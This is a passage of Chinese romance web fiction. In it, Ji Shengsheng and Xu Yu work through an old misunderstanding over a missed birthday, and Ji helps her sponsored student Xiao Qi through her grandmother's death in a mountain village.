她不知道许余要她还什么,怎么还,但她总感觉无论是什么,自己大约都是能还。
“明天上午任嫱和朱瑞来这边,中午要一起吃饭。”
从许余的房间走到她的房间,大约要走三十多秒。刚到房间门口,许余突然开口。
“任嫱和朱瑞啊……”
任嫱和朱瑞都是许余的同学,其中朱瑞还是许余的室友。她是在合唱活动认识的任嫱,那时候任嫱是她的零食搭子。
任嫱和朱瑞认识得比她和许余要晚,但缘分很坚固,大学毕业他们就结婚了。
那时候纪声声在国外,只给了礼金,表示了祝福,没来得及赶回来。后面虽然偶有交集,但三年时间过去,关系还是疏远了很多。
“他们来旅游吗?”纪声声从许余手里接过外卖袋子。
“不清楚,明天你可以自己问问他们。”
“好的。”
和与她和许余都认识的老同学见面,纪声声莫名有些紧张。
洗过澡以后,纪声声躺在床上,怎么都集中不了精神画画。思前想后,她捞起手机,给许余发了信息。
“你觉得,我们一起出现,会不会有些不合适?”
可能还要跟任嫱和朱瑞解释他们的关系,万一被当成情侣岂不是更加尴尬。
“怕什么。”
“不是‘冰释前嫌’了。”
过了很久,许余回了她的消息。
纪声声:“……”
确实,那他们不过就是共同出差的同事关系,没什么可别扭的。
又思考了一会儿,决定不再纠结这件事。纪声声掏出笔记本和数位板开始画画。
第二天一大早,纪声声顶着两个黑眼圈出现在许余面前。尽管她非常不想,但仍然没忍住在副驾驶睡着了。
任嫱和朱瑞一起开了公司,大概是与拍卖有关,所以会时常来云岚这边看瓷器。
“声声,好久不见!”任嫱主动拥抱她。
“好久不见。”纪声声感觉肢体有一点僵硬,任嫱似乎也感觉到了,抬手拍了拍她的背。
纪声声轻轻舒出一口气,从背包里拿出礼物:“新婚快乐。”
“谢谢声声,你还是一如既往地会爱人!”
其实这是另一件了。
纪声声一直记得任嫱喜欢八音盒,所以知道她要结婚时,曾在国外的中古店淘了一个,但现下来不及快递过来,只好拜托许余起了个大早带她到周边的特色手工店重新挑选一个。
点过菜以后,朱瑞的目光迅速在纪声声和许余脸上掠过,分辨过两人之间的气氛后,和任嫱对视了一眼,才开启话题。
“三年了,时间真快。”朱瑞把目光投向许余,“成玉还跟以前一样不靠谱吗?”
“好很多了。”许余对成玉做出高度评价,“截至目前,已经能独自支撑公司一天半。”
“噗——”朱瑞给任嫱和纪声声倒上热的玉米汁,“那真是进步飞快了。”
说完,话锋一转,看向纪声声:“声声,你可能不知道,之前成玉都不能独自在宿舍待上半天。”
“为什么?”纪声声好奇。
“他啊,必须有人陪着才行。打游戏都只能双排,没有人陪他一起,他就六神无主,慌里慌张。”
说着,掏出手机调出一张陈年截图。
纪声声看见截图里成玉在他们的宿舍群挨个人@。
一会儿喊朱瑞约会完帮他带一份炒饭回来,一会儿后悔没有和另一位室友一起去洗澡。
最多的还是@许余,喊他等不到人就快点回来陪他打游戏。
纪声声对这个日期和这一天的事情有很深的印象。
因为那天是她的生日。
在她生日前一周,忘记是什么由头,许余答应她陪她一起过生日。那天下午她早早从家里坐车回学校,明明和许余约好在地铁站门口见面,但是他始终没出现。
原来,他居然真的有去。
纪声声想不通,疑惑地看向许余。
被她注视了很久,许余终于歪着头看向她,似乎在认同她疑惑的事情。
“我突然想起来,”朱瑞收起手机,笑着,“那天许余是去给你过生日,回来的时候还另外买了蛋糕安抚独自守着空宿舍的成玉。”
“从那天开始,成玉就心甘情愿给许余做狗了。”
任嫱扶额:“你可别背后这么说人家成玉,我瞧着他比你靠谱多了。”
“他不会介意的。”朱瑞摆摆手,“正好,我拍个咱们四个的合照发给他看看。”
纪声声对着镜头比了个“耶”以后,忍不住掏出手机,给许余发信息。
“你那天有去吗?我以为你失约了。”
她发誓她真的没有见过许余,为这件事,她至少哭了两天鼻子,调理了一星期才继续和许余接触。
“嗯。”
“奇怪,那我为什么没有见到你呢,”纪声声想不通,“我真的真的没有看见你。”
许余没有回复她。
纪声声看着许余收起手机,看着他如常地和朱瑞聊起公司的话题。
任嫱自收到八音盒就一直在玩,这会儿终于心满意足地把礼物收起来。
“声声,在国外这几年怎么样?”任嫱因为工作的缘故出国几次,但都没什么机会能去看看纪声声。
“还好。”纪声声又看了许余一眼,才专心和任嫱聊天。
“我记得你们班那年只有你去那边读书了,一个人要租房子,要学习,还要自己做饭,真的好厉害,我完全做不到。我要是自己出国读书,我只能饿死街头。”
她确实是自己一个人,不过也还好了。
“开始的时候也有觉得有些寂寞,不过后面忙起来就好了。”
她从那时候开始学会了如何处理孤独、寂寞、思念甚至是痛苦这类的情绪,只要
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快速忙起来,她就可以沉浸下来忘掉那些影响她心情的事物。
她说完,任嫱看了许余一眼,许余没有说话,看起来是在倾听朱瑞讲这几年拍卖碰上的故事和事故。
“这次打算一直在国内了吗?”任嫱有些兴奋,“那后面我们都不忙的时候是不是能多聚聚了。”
“还没想好。”纪声声思索片刻,“我现在的工作情况比较特殊,不用固定在某个地方,还是比较自由,后面应该还会出去,时间长短还没定下来。”
“这样啊,也可以,反正我们也要经常出去,那咱们争取每年都能聚上一次。”
到聚餐结束,许余也没有回复纪声声的消息。
和任嫱、朱瑞告别以后,纪声声跟在许余身后上车,坐上副驾驶,才没忍住:“那天你是在哪里等我的?你有看到我吗?”
许余没有启动车子。
他有看到纪声声。
事实上,他提前半小时到达地铁站,为了能让纪声声立刻看见他,他选择去地铁站里等她。
如果如他所想,纪声声一下地铁,就能看到她的生日礼物和蛋糕。
可是没有,因为纪声声是和邢星一起出现的。
许余看见他们两个时,他们正在热烈地讨论着什么。
经过他时,纪声声正低头摆弄手机,邢星的嘴则一张一闭一直在说话。
他们就很平常地,好像他是一个路人一般从他旁边经过。经过时,邢星甚至还时不时地拽弄着纪声声的书包。
他们的亲密和熟悉刺痛他的神经,有几个瞬间,他甚至感觉到身体的疼痛。
许余没有回答,余光瞥见手机上任嫱发来的消息。
任嫱:“我还是保持我之前的观点,我认为声声不是那种人,她不可能脚踩两只船。你要不要弄清楚,万一只是朋友,或者青梅竹马呢?”
许余划掉这条消息,随后侧头看向纪声声。
他当然想过这种可能。
但即便是这种关系,他也不能接受。
纪声声和另一个男人如同同生共死的连理枝一样,一个眼神、一个动作都能立刻明白对方的想法和意愿。
不管是什么关系,他们都熟悉到了融入对方生命的程度。
他们自认和对方的关系清白吗?或许。
但在他看来,即便不是恋人,也算不上清白。
所以他不愿去试探这件事,没有什么意义。
“我在去见邵芸的路上。”
纪声声:“……”
真的是……
“你乱说的。”纪声声没忍住,“你说过,你和邵芸没有私交,而且邵芸是有男朋友的。”
“确实。”许余启动车子,“我不会去给有男朋友的人过生日。”
纪声声:“……”
简直无理取闹。
到了小戚打工的奶茶店附近,许余停好车子,纪声声想立刻下车,却打不开车门。
“你在生气?”
“……我没有生气。”纪声声几乎是立刻反驳。
……她有什么可生气的?!
“那就好。”许余帮她解开安全带,随后好心地打开车门,“结束以后,我在这里等你。”
纪声声没有动:“……”
好像看出她在为什么事情烦心,好像就是故意想让她烦心,许余好心地提醒:“注意安全。”
纪声声:“……”
纪声声:“……我走了。”
16. 16
中午来了个大订单,小戚还在收尾,纪声声在门口等她。
见到小戚之前,纪声声都在刚才事件的情绪中。
她感觉自己好像从没了解过许余。
她印象中,许余一直是礼貌、自持到时常让人觉得疏远和冷漠的。
他总是没什么情绪,甚至不在意任何人和任何事。
可是这次重逢以后,她总感觉许余很不对劲,各种意义上的。
正想着,纪声声看见小戚从店里走出来,正和她招手。
摒弃掉杂念,纪声声快步上去迎她。
博物馆和市集离这里不远,大概五分钟的路程。在这段路上,纪声声了解了小戚外婆的情况。
是去年年底时摔了一跤。
“在那之前身体都很好的,还经常推着车子去捡废品。”提起外婆,小戚情绪有些低落,“要是那天不让她出门就好了,不摔就没事了。”
纪声声拍了拍她的肩膀,安抚她的情绪。
自那次以后,小戚的外婆就下不来床了。总是咳嗽、背痛,去医院发现肺积水和肿瘤,抽了积液以后,身体也没有转好。
“我舅妈这个月回来照顾她,我想着出来打工挣点钱,后面还要再去医院看一下。”
舅舅和舅妈都不愿意出钱,好在舅妈愿意出力,所以小戚才有时间出来赚钱。
“不过还是有好消息的。”小戚打起精神,“当时医生说最多不过半年,现在都八九个月了,说明情况在好转。”
纪声声之前决定资助小戚,也有她外婆的缘故。
那时候她从网络上找到小戚的信息,联系人是外婆。她打过去电话,对方是当地村委会的工作人员。
经过几天的交涉,电话几经辗转才到小戚外婆那里。
小戚的母亲是产后抑郁去世,父亲和奶奶一家人很快抛弃了她。
她从城里被送到外婆家。舅舅和舅妈不愿意收养,外婆成了她的妈妈。
外婆卖掉了家里不值钱、但房款能保证把她平安养大的房子,随后带着她住进村子里给低保户准备的大杂院。
在她离不开人照顾的那几年,外婆用这些钱把她带大。等到她能去村子里上幼儿园,外婆又去捡废品。
“我一天啊,最多能背一百多斤。”那时在电话里,小戚的外婆这样对她说。
在能自食其力的时间里,她们不会恶意占用资助人的钱财。
她能靠自己挣钱养孩子,之所以通过村委会对外寻求资助,也是因为怕自己老了,没办法把小戚供到高中毕业。
考虑到对方的需求和尊严,纪声声第一次只给打了五千块钱,又自费给小戚外婆买了一辆三轮车。
后面就变成按月定时给小戚和外婆发生活费和购买生活物资,这样持续了几年。
原本,纪声声根据小戚回家的时间做了规划,她打算下一次和小戚一起回去,看看如果老人身体能够支持,就去城里的医院进行检查和治疗。
她知道人到了一定年纪,离别就变成一个无法及时准备的事情。但是如果她们愿意,她可以为延长她们相处的时间再做一些努力。
“我有一个建议,你可以再考虑一下,是不是要先回去陪陪外婆?”纪声声思索片刻,“看病和上学的钱不是问题,如果你心里有负担,你可以以后努力学习、工作,有能力了再思考该怎么做。”
“现在,如果可以的话,多陪陪外婆。你在外面打工,没办法和她经常联系,她肯定也很担心你,像你担心她一样。”
“谢谢你,声声姐姐。”
……
小戚抱着她哭了好久,哭到纪声声的肩头都湿了。
调整好心情,纪声声带小戚逛了博物馆和市集,在市集上给外婆挑了几件礼物,才把小戚送回宿舍去放东西。
纪声声回到车里,许余几乎是立刻注意到她肩膀上的褶皱和她错位的领口。
她太瘦了,能把一件普通的上衣穿成松垮的款式。
“要外套么?”
许余将后座的外套拿过来递给她。
“谢谢。”纪声声一看许余的脸,立刻又想起来刚才的事情,便快速移开目光。
车子才启动,成玉的微信消息就回了过来。
刚才在上车之前,她临时想到问问成玉那件事是什么情况,这会儿看到成玉发来很长一条消息,纪声声不敢点开,打算回到酒店再说。
两人一路无话,各怀心事地回到酒店。
“《报名指南》在哪里?”下了电梯,许余看向纪声声。
“在我这里。”小戚下午拿给她的。
云岚有发放官方的高考报名指南,里面有历年各校的分数线和报名情况,小戚个人的专业偏好和高考成绩她也已经比较了解。
只是……她本没打算回来以后立刻着手这件事。
她还想先回去看一眼成玉发来的信息。
“去你那里,还是在我这里。”到了酒店房间门口,许余给她选择。
纪声声:“……”
……又有什么分别呢。
“那就你这儿?”
她话音落下,许余打开房门,做了个“请”的手势。
等她坐下准备研究一下这本指南时,才发现去她那里和在许余这里岂止是有分别,简直分别巨大。
因为——许余去洗澡了。
纪声声:“……”
水滴声并不明显,但她丝毫看不进去。很快,许余从浴室里走了出来。
纪声声赶忙多翻几页,恐怕被许余发现并误会什么。
在她身后擦干头发,许余拉了把椅子坐在她旁边,随后打开电脑,查询云岚高考报名的相关政策。
纪声声看向电脑屏幕时,无意间瞥见许余敞开的领口。
几乎是视线触及许余皮肤的瞬间,许余的目光就落在了她的脸上,纪声声赶忙收回视线,继续看电脑屏幕。
“想学医?”许余看着《指南》边上小戚自己写的志愿专业,和纪声声确认。
“嗯,临床、影像、检验、护理,或者生物、药学她都能接受。”
下午纪声声有和小戚聊到这件事,知道她一直很想当医生。临床对她来说,分数太高很有难度,所以只要是和医药沾边的专业就好。
对于学医很苦这件事,她也有心理预期。
“临床的话,起码要再提高五十分才比较稳妥。”
如果把就业目标放在云岚本地的医院,那最好是云岚本地比较认可的医科大学。云岚出名的生源多学校少,尽管小戚的学习成绩还算不错,但竞争压力在那里。
横向比对了几个学校的专业排名,又把小戚的成绩和历年医学类专业的分数线进行比较,大概有了几个比较合适的选择。
许余负责确认专业排名和就业,纪声声则负责查询学校周边的
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环境和学校的学习风气。
小戚是独身一人,越是这种情况越要去安全一些的城区。
又讨论了一个多小时,最终他们形成了比较一致的建议,并且尽可能地丰富优缺点,留给小戚参考。
许余站起身去拿水杯,随后靠在桌边,看向她。
“纪声声,书在这里。”许余轻轻敲了敲她面前的指南。
纪声声立刻抬手捂住眼睛:“……抱歉,职业病。”
她没乱说。
衣服的褶皱是她最爱观察的。
偏偏许余领口的褶皱就在离她这么近的地方。
“还喜欢看什么?”
纪声声:“还有手指骨节、肢体连接处、凸起幅度、皮肤纹路,还有各种伤痕痕迹……”
纪声声认真地细数着。
“……凸起、痕迹?”许余眉毛挑起,表情耐人寻味,“比如?”
纪声声挠挠头,指着许余弓起的膝盖:“比如这里。”
“嗯?”
纪声声的目光迅速掠过不该看的地方,指了指许余浴袍的系带处:“比如这里……”
“嗯?”
纪声声视线上移,看了眼许余凸起的锁骨:“……还有这里。”
说完,也没有立刻收回目光。
“还有?”
“……没了没了。”纪声声立刻收回目光,摆摆手表示清白。
空气中是诡异的沉默。
“以前怎么不是这样?”
纪声声知道许余说的“以前”是什么。
那一次他们毫无经验。
对于许余的靠近她感觉紧张又害怕,几乎全程不敢睁开眼睛去看。
纪声声无措地挠挠手臂:“……在国外确实突破了一些瓶颈。”
她和她的日本籍上课搭子也是用了不少时间去看漫画研究一些画画技巧。
“比如?”
纪声声:“……”
她总不能把那些小漫画拿出来给许余也“欣赏欣赏”。
意识到自己因为心虚而不停地回答许余提出的问题后,纪声声就选择闭嘴了。
许余不再说话,只是目光落在她脸上,一直没有挪开。
纪声声只能转移话题:“……为什么不能告诉我那天是什么回事?”
“去问了成玉?”
“……对。”纪声声惊讶,“……你怎么知道的?”
“他来问我。”
纪声声垂下头:“好吧。”
“那你能告诉我吗?”纪声声小声地,“……我很想知道。”
许余放下水杯,刚才被纪声声指过的中指指节轻轻敲了敲她面前的桌子:“不是你说要‘冰释前嫌’?”
纪声声:“……”
那是因为,她一直以为之前的事情是许余对不住自己更多,所以她不想纠缠计较那些。
可是,看起来还有一些她误会很深的事情。
如果那些时候是她误会许余,是她没有做好。然后,又是她因为一点误会就闹得老死不相往来……
纪声声看向许余。
如果是她做错,她不知道该怎么面对对方。
“如果我欠你的多,你不想计较。”许余明白了她的意思,“如果你欠我更多呢?你打算怎么做?”
“纪声声,我可不是像你这样善良的债主。”
“欠我的,是要还的。”
17. 17
“那,那我欠你什么了?”纪声声想了想,“我刚回来,你还把盒子还给我……”
“我去支教给你写了那么多封信。”
支教的山里信号很差,也不太有时间去看手机,将近三个月的时间没有联系,她每天都很想念许余。
她以为许余也会很想她。可回来以后,许余好像从没和她分隔两地一样平常。
“还你的盒子,有打开么?”
“……还没。”
“为什么?”
“……我不想看。”万一是什么看了会伤心的东西。
“嗯。”
“很晚了。”许余提醒她。
纪声声无言地收拾好桌子上的东西,站起身离开。
许余看着纪声声的背影消失在门后。
他还有很多问题没有问。
他的手是纪声声见过最好看的吗?
比邢星的又如何呢?
……
回去以后,纪声声才想起看成玉发来的消息。
“声声,一时半会儿说不清楚。你方便的时候我们打电话说?”
纪声声看了眼时间,刚给成玉回完消息,对方就打了语音过来。
“声声啊。”电话接通后,成玉才敢关上卧室的门。只要有人跟他打电话,他自己一个人在房间也不会感觉害怕了。
“对于你问的这件事,其实我记不太清楚了,不过我可以肯定,那天许余是去见你了,但是不是有什么缘故没见成?他拎着个蛋糕回来,不是很开心。”
纪声声哑然,过了很久才开口:“……不开心吗?”
“嗯……老实说,声声,自从你出现在许余的生活中,他经常没由来的沉默,我觉得他好像被什么痛苦纠缠,但不敢问,你也知道他那个性格。”
成玉当然不会点破有关“第三者”的事情。
或许和许余不点破的原因相同。
说破有风险,摊牌只适合决定彻底破裂或者逼宫的时刻。但凡还在中间地带,也得装作不知情。
“我不明白……”
“可能,我的感觉啊,只是我的感觉,”成玉恐怕给许余搅和黄了,“我觉得他是喜欢你的,也是想和你在一起的,只是你呈现的,或者说他能想象到的那种在一起的方式让他有压力。”
纪声声丈二和尚摸不着头脑:“啊?”
说得好像和她在一起见不得光一样……?
“哎呀,我这表达能力真是太差了!”成玉一拍脑门儿,“那个,他不是给你写过好多信吗?你要不再仔细看看?你多往深处想想,总能明白的。”
“而且你看,虽然他有压力,但是他不是还围着你转吗?要我说啊,你也不用改变什么,你就坚持自我,搞不好哪天他就把自己攻略好了。”
纪声声:“……?”
她也从没收到过许余的信件。无论是支教的时候,还是出国的这几年。
他们说的话,她一点都不明白。
……
把汇总好的志愿情况发给小戚以后,纪声声开始画稿子。
画到手指就想起许余。
想着,纪声声回忆着许余的手涂了一张,犹豫几秒钟后,鬼使神差地导出发给了许余。
“不像。”
很快,她就收到了对方的回复。
“怎么可能?”纪声声刚关上电脑,看到内容后立刻坐了起来。
“不像。”
她一直没有回复,过了几分钟,许余又发来一条消息。
纪声声:“……”
许余坐在椅子上,不到一分钟,就听见了敲门声。
纪声声是抱着电脑和数位板一起过来的。
许余打开门,就看见纪声声气鼓鼓地放下电脑,然后一把捉起他的手腕,柔软的指肚按着他的掌心,卖力地将他的手指根根分开,嘴里念叨着她画的细节有多么多么符合。
许余看着纪声声没分寸的双手一直在他手指间摩挲,指尖时不时划过他的指缝,故意一般往他见不得光的缝隙里钻。
他早该习惯。
纪声声招惹他的方式一向就是这么的没有分寸。
她对他叶公好龙,言行两样,朝三暮四,若即若离。
准备去给纪声声过生日的那天,他在地铁见到邢星他们两个人,并没有第一时间离开。
从决定再不往来到决定等她,他只花了走出地铁站的两分钟。
他跟在他们身后,内心比潮湿的天气还阴暗。
外面在下雨。
他看见纪声声没有带雨伞。
他担心纪声声淋雨。
他想为她撑伞。
然后,许余看见纪声声和邢星披着同一件外套跑出去。
指尖感受到力量,纪声声还没反应过来,双手已经被许余攥住。
许余的手掌很宽大,手指骨节分明而修长。
许余一双眼睛一瞬不瞬地盯着她,她躲闪都不放过。
“声声,看起来你还没做好准备和我冰释前嫌。”
许余平淡的语气仿若惊雷:“你没放下我,对吗?”
她印象中的许余不是这样的,他不会说出这种话的。
“要否认么?”
“还是,你愿意承认?”
许余循循善诱地:“你否认,我们就如你先前所说——做回陌生人。”
纪声声:“我……”
“或者,你承认。”许余一边说着,一边将她拉到眼前,“很多事情,我不会再问你,也不会再去计较。”
“你想好,”许余停顿几秒,“我和你之间,只有这一次选择的机会。”
是他最后给自己一次机会。
他本有的是时间陪纪声声玩这个游戏,他甚至笃定自己能赢。
只是,他被道德底线和欲望渴求两极撕扯得快要分裂。
最好是立刻做回陌生人。
许余盯着纪声声的眼睛,他要一个肯定的答案,然后回到没有这么多阴暗狰狞的平静生活。
“对不起……”
感觉到一股冰冷从胸腔逐渐蔓延到指尖,许余几乎立刻后悔:“什么?”
他应该在拿到更多的筹码以后再逼纪声声选择。
许久没有听见回答,许余僵硬地抬手揉了揉纪声声的头发:“没事,你可以回去慢慢想。”
是他自己太过着急。
“我以为做朋友是最好的,不得到也不失去。”
“是么?”许余苦笑。
说起这些,纪声声没什么底气。
如果她真这么坦然,就不该反复招惹许余。
她自己心里清楚,她是知道如何退回安全距离的,只是她没有去做。
“……是我的问题,我想把和你的过去放进朋友的关系,又不能保证和你保持朋友的距离。”
她还不确定什么时候走,要待多久。也不确定未来会在哪个城市发展,离许余有多远。
她能感觉到许余是对她有些好感的,她应该抓住机会去争取,可她又没有办法对现在的关系负责任。
“我有一些特殊情况,还没做好决定,所以没办法和你说。”
……她和许余能从新开始吗?
他们现在隔着时间,以后还会隔着距离,她没办法把这些还没完全定下来的事情提前报备给他。
纪声声啊,人生
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什么时候开始有了这么多的纠结?
似乎感觉到了她的低气压,许余耐心地:“晚上为什么要来找我?”
转移了话题,纪声声感觉轻松很多:“因为你说我画的‘不像’……”
“……真的不像吗?”纪声声看向许余,想从他眼睛里找到所有问题的答案。
“不像。”
“……哪里不像?”
许余摊开手,纪声声才看到他中指指肚上有一道竖向的血痕,很长。
“这是这么弄的?”纪声声赶紧掏出手机,想要下单清创药品和纱布。
因为她说她喜欢观察伤痕。
“不画吗?”许余轻声问。
纪声声以为他在开玩笑,赶忙拉着他坐到床边,随后拿起手机下单。
等待外卖过来的这段时间,纪声声和许余都没有说话。
这沉默让人有些不安。
终于听到敲门声,纪声声才松了一口气。
其实她并不会包扎。
是上次许余带她去公司换药,她想着未来自己应该还有很多时刻需要救助自己,所以在医生给她处理伤口时特意学习了。
没想到这么快就用上。
她包的很难看,好在许余手指上的伤口并不深。
许余垂着眼睛看着纪声声为他认真的样子。
纪声声是第一个在他生病时照顾他的人。
尽管这并不是他心动的原因。
他很少生病。本科期间那次发烧大约是因为接连几天的熬夜。
他记得纪声声笨拙地在急诊大楼门口寻找安检入口,记得她慌张地拿着他的证件在导诊台询问护士应该挂什么科。
她紧张他每次抽血,怕他疼,尽管他并不感觉疼。
紧张他做检查,怕结果不好,拿着报告单的手在抖,望向他的每个眼神都充满在意和担忧。
他们没有任何关系,纪声声对他本没有责任,但她非要负责,却又不想负责到底。
纪声声的注意力在很多人身上,她对谁都好,这时常让许余感到痛苦。但自那天开始,他选择原谅那些分心。
纪声声更关注他,就足够。
她有别的男朋友,也没关系。
他放弃自尊,放弃底线。
他接受共存。
发烧到意识都不清晰,他脑内竟然还冒出这样一句。
他接受共存的话,能不能别抛下他。
“你那天赴约了,有看到我么?”系好伤口后,纪声声想起成玉说的话。
她印象很深刻。
那天下了大雨,她在离地铁最近的公交站等了好久。他们就是约在那里见面。
“有。”
许余低头看着被包得过分谨慎的中指。
“奇怪……我怎么会看不到你呢。”纪声声努力回忆,却想不出更多的细节,“那天我还提前做了果茶和草莓蛋糕。”
“快到站了我才想起来没有带勺子和吸管,又跑去附近的商店买。出站的时候雨很大,我的裙子和鞋子都淋湿了。”
“嗯?”
“对不起,我不知道为什么把事情搞成这样。”
许余看着纪声声垂头丧气的样子。
她记错了。或者,她在说谎。
但她愿意骗他或是信他的说法,就没有关系。
“很晚了,”许余看了眼时间,“你要回去休息么?”
“好吧……”
许余要她回去,她也没有理由再在这里纠缠。
“或者,你也可以留宿。”
许余忽然大发慈悲地。
纪声声看着面前仅有的一张大床,有些迟疑。
18. 18
他希望纪声声留下,他想要在这晚发生些什么,哪怕只是简单地靠近。
这是他来云岚的目的,但却不是为了欲望。
他要在没有其他人打扰的情况下,增加胜利的筹码。
无论是情感的纠缠还是身体的熟悉,再回到潞城,纪声声不能再对他视而不见,不能再假装无事发生、只是朋友。
他要看到纪声声心虚、迟疑的表情,要纪声声看到他的脸就想起夜晚发生了什么。他要纪声声无法坦然地面对其他男人,直到天平不断倾向于他,直到最后不得不选择他。
他像蛇一样,诱惑夏娃犯罪。
但诱饵不是苹果,是他自己。
他发出邀请以后,纪声声没有立刻答应。许余感到失望。
他当然不会勉强她留下。
默默地帮纪声声把电脑和数位板装进袋子,又将包扎用的药品收拾好。
许余看向纪声声:“或者,我放手让你走。”
放手么……
纪声声感觉心一揪。
“……能不能给我点时间,”理性在着急的瞬间全部失联,纪声声知道自己不能接受这样的结局,“我现在心里很乱。”
“好。”
纪声声本来打算利用在云岚的时间想清楚,等回去以后再看看该怎么推进以后的事情。
可是突发状况比她想得要多。
许余着急地推进和她之间的关系不说,从许余那里回去以后,她刚洗过澡收拾好东西,就接到小戚的电话。
小戚的外婆在出门晒太阳的路上摔倒,已经被舅妈送去医院。
担心有不好的情况发生,小戚打算立刻回去。
回云岚山区并不容易,开车路程颠簸耗时,坐车的话,每天只有两班长途火车。
这会儿虽然还能赶上第二班,但只剩下无座票。
来不及多想,纪声声快速购买两张车票,便背上包出发。
她没有告诉许余。
已经凌晨,不能耽误他休息,许余也没有那么多时间可以耗在云岚。
这不是纪声声第一次坐绿皮火车,但却是第一次买无座票。
她以为可以找到一个空地坐下,但实际上连椅子底下都有躺着睡觉的人。站了一夜,小戚看起来比她还要憔悴,纪声声让小戚靠在自己身上,稍微睡一会儿。
终于挨到下车,纪声声轻轻拍了拍小戚的肩膀。
下了火车,还要坐面包车。
纪声声和小戚跟另外的四个人一起挤在拥挤的车厢里,摇摇晃晃四个小时后,终于到了小戚外婆所在的医院。
纪声声非家属,小戚的舅舅拒绝她探视,她只能在病房门口等待。
手机果然没有信号。
好在她出门前在前台给许余留了字条。
事发突然,许余应该可以理解她的“不告而别”。
小戚舅舅对于小戚外婆意外摔倒的原因主动解释了三四次,每次都不相同。
纪声声不是判官,没有能力介入别人的家务事。
似乎意识到她是小戚的资助人,小戚舅舅言语间不时想让她掏出一些钱来作为抚恤金,甚至想让纪声声无偿资助自己的儿子。
“你现在和我说,我口头答应,将来不履行,你也没有办法。”
纪声声是在大街上看过流浪汉当着她的面就蹲下来上大号也不害怕的人。舅舅这种角色,即便比她大上二三十岁,她也没什么怕的。
“所以你先去村委会登记,准备申请材料。”
“有了材料,村委会会出面,这样后续就有人为你证明。”
尽管老母亲在病床上,小戚的舅舅舅妈还是立刻回家,着手去准备申请材料了。
病房里难得清静,小戚和外婆单独相处,纪声声则在门口给她们一些说话的时间。
手机有信号了。
但她的消息还是发不出去。
因为不确定许余是否有发消息给她,纪声声感觉更加坐立难安。
大约有很多话要说,三四个小时的时间比纪声声感觉上更加漫长。
坐在病房外的这段时间,她总是想起陪许余看病那次。
惨白的脸色,毫无血色的嘴唇,眼神像失焦了一般。
能做的检查全部都做了,找不到原因。她只听到那些意味着情况很严重的关键词。
发烧、心肌炎,不及时来医院会猝死。
纪声声低头数着脚边的石头。
眼看着天要彻底黑了,在病房楼下的超市,纪声声买了几瓶营养快线。她记得小戚说过外婆最喜欢喝这个,但总也舍不得花钱买。
等她回去时,小戚的外婆已经被拉走。
生命比她想象的要脆弱很多。
纪声声低头看向怀里抱着的饮料,有些人不知道哪一面就是最后一面了。
那些属于小戚外婆的衣服被丢进垃圾桶。
小戚舅舅说,死人的东西不吉利。
不吉利的东西要丢干净。
丢干净之前要把口袋都翻一遍。
钱留下,其他烧掉。
云岚山区的丧葬礼仪很复杂。
小戚外婆摆满东西的房间很快被收拾得像无人居住一般。
一张床板上放了一床旧褥子,小戚外婆闭着双眼躺在上面,人看起来像一片干枯的树叶。
前前后后来了十几拨人,场面用哭天抢地来说也不为过。
现场除了她和小戚,所有人都在哭泣。
小戚的舅妈忙着照顾客人、收礼钱,小戚的舅舅则把纪声声叫到一旁,把东拼西凑的材料一股脑儿塞在纪声声手里。
“好。我回去看看。”
“现在就看嘛!”
“我没钱,要拿回去给我父母看才可以,他们才是实际资助人。”纪声声面无表情地。
“好好。”“谁给钱都好。”“我们真的很需要钱。”
趁他们去招待人的时间,纪声声把之前送给小戚奶奶的三轮车转送给了村子里另一户捡拾废品的老人。
为了确保小戚舅舅后续不会去闹,小戚特意去村委会说明了情况。
确定那位老人的女儿十分勇猛彪悍,绝不会吃小戚舅舅的亏以后,纪声声才放下心来。
等到所有流程都结束,已经快下午。小戚舅舅喊来车子去最近的火葬场,询问小戚是否要同去。
纪声声并不着急走。她以为小戚会想要送外婆最后一程。
没想到小戚拒绝了舅舅的提议,反而趁着家里人都去殡仪馆的时间差,和纪声声表达要回云岚继续打工。
纪声声没有询问原因,也没有什么建议要给对方。只是和她一起踏上返程的路。
历经近十五个小时,她们重新回到云岚。
没有让小戚去宿舍,纪声声准备先带她住几天酒店。虽然她也有
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很多事情要去做,但把这么年轻的一个女孩子独自放在这边,她不忍心。
她的行李应该已经被许余带走,看起来许余是有收到她留下的字条的。
恢复信号和网络以后,她反复查看手机,都没有任何许余发来的消息。
“声声姐姐,你真的要资助他吗?”
小戚如同什么都没有发生一样去打工,一天结束,也如同平常一样和她聊天。
“不会的。”
不给小戚舅舅一家希望,他们可能很难那么轻松地离开。至于那些材料,她早丢在院子的茅房里,这会儿估计他们已经在怒火中烧了。
“其实我很想跟着去,想给外婆抱骨灰。”小戚沉默几秒钟,“但我知道他们不会让我抱的,等他们回来,可能还想和你要钱。”
“所以,你是怕我们不能顺利离开,才没跟着他们一起去么?”
小戚点点头。
她们想到一块去了。
“现在想吃些东西吗?”纪声声翻看外卖软件。
她们已经两天没怎么吃东西了。她自己还好,小戚正在长身体,禁不住这么饿下去。
“声声姐姐,我没有什么胃口。”小戚摇摇头,有些担心地看向她,“姐姐,你是不是要回去了?”
“不着急呢。”纪声声安抚地,“你白天去打工,我在这里画画,时间富裕得很。”
距离下次要去许余公司开会的时间还有两周多。这段时间她可以把初稿都画出来。
“谢谢你,声声姐姐。”
“不客气。”
这样过去一周多,有一天晚上,纪声声终于听见小戚哭了出来。
小戚说,奶奶像从没来过这个世界一样地离开了。她是奶奶唯一的遗产。
纪声声抱着膝盖,看着小戚在隔壁床上哭成一团,没有出声,也没有动。
还需要时间。
她不勉强小戚立刻走出来,只是在一旁陪伴着。
在去许余公司开会的前一天,纪声声才离开云岚。
小戚的情绪好了很多,也开始进入自学状态。她申请休学到一月,然后就会回去备战高考。
确定她的情况趋于平稳,纪声声终于稍稍放下心来。
“声声姐姐,我外婆之前有和我说过想把她的缝纫机送给你。”
“那是她的嫁妆,是她唯一的好东西……”
“可惜被丢掉了……”
“我买了一个我能负担得起的送给你,等你到家的时候,它应该也到了。”
“我会好好活着。为了外婆,为姐姐你,也为我自己。”
“我会好好活着的,我会活得很好的。”
她上车以后,收到小戚的这几条消息。
其实她并不想要什么回报。会帮助别人,也是因为这让她感觉幸福。
“谢谢你的礼物。”
“外婆不在身边的时候,我就是你的家人。有需要随时找我【拥抱】。”
回复了小戚的消息后,纪声声又点开和许余的对话框。
几次想要说些什么,又不知道从何说起。
他这么久没联系她,是不是真的“放手”了?
她本想等到第二天开会再当面找许余聊一下,可到站后,熟悉的地点、熟悉的空气,她又感觉等不了那么久。
于是点开对话框,给许余发消息。
“我想见你。”
19. 19
